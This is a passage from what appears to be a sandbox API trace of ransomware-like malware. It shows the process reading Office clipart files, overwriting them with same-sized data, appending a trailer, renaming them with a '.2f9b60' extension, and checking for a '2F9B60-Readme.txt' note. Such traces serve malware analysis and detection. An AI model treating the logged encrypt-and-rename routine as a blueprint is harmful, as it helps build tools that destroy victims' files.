_Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb90) returned 1 [0109.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a960) returned 1 Thread: id = 665 os_tid = 0x1148 [0096.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0107.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF", dwFileAttributes=0x20) returned 1 [0108.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14cc [0108.892] GetFileSizeEx (in: hFile=0x14cc, lpFileSize=0x2ab3fb20 | out: lpFileSize=0x2ab3fb20*=4390) returned 1 [0108.892] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x1122, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.892] ReadFile (in: hFile=0x14cc, lpBuffer=0x2ab3faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ab3fae8, lpOverlapped=0x0 | out: lpBuffer=0x2ab3faa0*, lpNumberOfBytesRead=0x2ab3fae8*=0x4, lpOverlapped=0x0) returned 1 [0108.894] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0108.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a660 [0108.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b0e0 [0108.895] NtQuerySystemTime (in: CurrentTime=0x2ab3f9e0 | out: CurrentTime=0x2ab3f9e0*=132462177143866000) returned 0x0 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x6ebf41e [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x596d931a [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x3ab1d216 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x63242491 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x7347a973 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x775571c5 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x5f7f3a2f [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0xa0bbb35 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x7e218826 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x27e88620 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x78dcb546 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x2eae31c6 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x686bd99b [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x51fdcc3f [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x759a2854 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x67fb8451 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x1f2a59b1 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0xfa51da0 [0108.895] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x364ba7e3 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x24f85181 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x4cf982a3 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x6bd79900 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x4dcd47a5 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x824027e [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x7d52f376 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x22880dba [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x32f66801 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x26cb42a0 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x4f007dc3 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x286ab2cf [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x1bdf7b31 [0108.896] RtlRandomEx (in: Seed=0x2ab3f9d0 | out: Seed=0x2ab3f9d0) returned 0x443ec03d [0108.906] ReadFile (in: hFile=0x14cc, lpBuffer=0x41e75950, nNumberOfBytesToRead=0x1126, lpNumberOfBytesRead=0x2ab3f9d0, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesRead=0x2ab3f9d0*=0x1126, lpOverlapped=0x0) returned 1 [0108.907] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.908] WriteFile (in: hFile=0x14cc, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x1126, lpNumberOfBytesWritten=0x2ab3f9d4, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2ab3f9d4*=0x1126, lpOverlapped=0x0) returned 1 [0108.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0108.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b0e0 [0108.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b0e0) returned 1 [0108.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0108.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82b0e0 [0108.911] SetFilePointerEx (in: hFile=0x14cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.911] WriteFile (in: hFile=0x14cc, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ab3faf0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2ab3faf0*=0x10a, lpOverlapped=0x0) returned 1 [0108.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0108.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0108.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0108.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0108.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab40 [0108.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab40) returned 1 [0108.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0108.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.916] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="ee") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="1b") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="1d") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="19") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="43") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="19") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="51") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="cd") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="a8") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="4b") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="ba") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="67") returned 2 [0108.916] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="8a") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="b0") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="16") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="22") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="ae") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="54") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="c4") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="98") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="a5") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="37") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="45") returned 2 [0108.917] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="83") returned 2 [0108.917] RtlInitAnsiString (in: DestinationString=0x2ab3fb68, SourceString="ee1b1d19431951cda84bba678ab01622ae54c498a5374583" | out: DestinationString="ee1b1d19431951cda84bba678ab01622ae54c498a5374583") [0108.917] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ab3fb38, SourceString="ee1b1d19431951cda84bba678ab01622ae54c498a5374583", AllocateDestinationString=1 | out: DestinationString="ee1b1d19431951cda84bba678ab01622ae54c498a5374583") returned 0x0 [0108.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced94e0 [0108.917] wcscat (in: _Dest=0x205012b0, _Source="ee1b1d194319" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319" [0108.917] wcscat (in: _Dest=0x205012b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60" [0108.918] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60", NtPathName=0x2ab3fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060e30 [0108.918] NtSetInformationFile (FileHandle=0x14cc, IoStatusBlock=0x2ab3fbb0, FileInformation=0x42060e30, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060e30) returned 1 [0110.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.145] NtQueryInformationFile (in: FileHandle=0x14cc, IoStatusBlock=0x2ab3fb78, FileInformation=0x2ab3fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ab3fb78, FileInformation=0x2ab3fb88) returned 0x0 [0110.145] NtSetInformationFile (FileHandle=0x14cc, IoStatusBlock=0x2ab3fb78, FileInformation=0x2ab3fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205012b0) returned 1 [0110.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced94e0) returned 1 [0110.147] FlushFileBuffers (hFile=0x14cc) returned 1 [0110.148] CloseHandle (hObject=0x14cc) returned 1 [0110.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cfb0 [0110.152] wcscpy (in: _Dest=0x4205cfb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.152] wcscat (in: _Dest=0x4205cfb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cfb0) returned 1 [0110.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a9f0) returned 1 Thread: id = 666 os_tid = 0x114c [0096.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0106.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF", dwFileAttributes=0x20) returned 1 [0106.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15bc [0106.385] GetFileSizeEx (in: hFile=0x15bc, lpFileSize=0x2abcf7c0 | out: lpFileSize=0x2abcf7c0*=3966) returned 1 [0106.385] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0xf7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.385] ReadFile (in: hFile=0x15bc, lpBuffer=0x2abcf740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2abcf788, lpOverlapped=0x0 | out: lpBuffer=0x2abcf740*, lpNumberOfBytesRead=0x2abcf788*=0x4, lpOverlapped=0x0) returned 1 [0106.395] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.395] NtQuerySystemTime (in: CurrentTime=0x2abcf680 | out: CurrentTime=0x2abcf680*=132462177118906000) returned 0x0 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x2753820 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x55bfabb2 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x352811c3 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0xb599c52 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0xfbb3be2 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x468ba7d4 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x51ca4b3d [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x15e47824 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x7695ee74 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x28417e17 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x1991e9c [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x4f58ab2d [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x2ebb0be1 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x62ce12f7 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x4e4981a8 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x4d6d1449 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x4a21fb1 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x40a62f12 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x599cba9c [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x4dd04be4 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x4e93c2ef [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x7c7ea530 [0106.395] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x3506e415 [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x5559f79 [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x2555c1d0 [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x75ef8d38 [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x53c20d83 [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x16c7f6e5 [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x548efa7d [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x432ec006 [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x5eded3f7 [0106.396] RtlRandomEx (in: Seed=0x2abcf670 | out: Seed=0x2abcf670) returned 0x119c967a [0106.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0106.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb5950 [0106.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0106.403] ReadFile (in: hFile=0x15bc, lpBuffer=0x41eb5950, nNumberOfBytesToRead=0xf7e, lpNumberOfBytesRead=0x2abcf670, lpOverlapped=0x0 | out: lpBuffer=0x41eb5950*, lpNumberOfBytesRead=0x2abcf670*=0xf7e, lpOverlapped=0x0) returned 1 [0106.403] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.403] WriteFile (in: hFile=0x15bc, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0xf7e, lpNumberOfBytesWritten=0x2abcf674, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2abcf674*=0xf7e, lpOverlapped=0x0) returned 1 [0106.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85e0 [0106.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85e0) returned 1 [0106.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0106.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb5950) returned 1 [0106.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced85e0 [0106.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced84c0 [0106.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.418] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.418] WriteFile (in: hFile=0x15bc, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2abcf790, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2abcf790*=0x10a, lpOverlapped=0x0) returned 1 [0106.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0106.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.440] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="37") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="06") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="f5") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="47") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="58") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="4d") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="88") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="e5") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="68") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="4c") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="63") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="8a") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="d5") returned 2 [0106.440] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="17") returned 2 [0106.440] 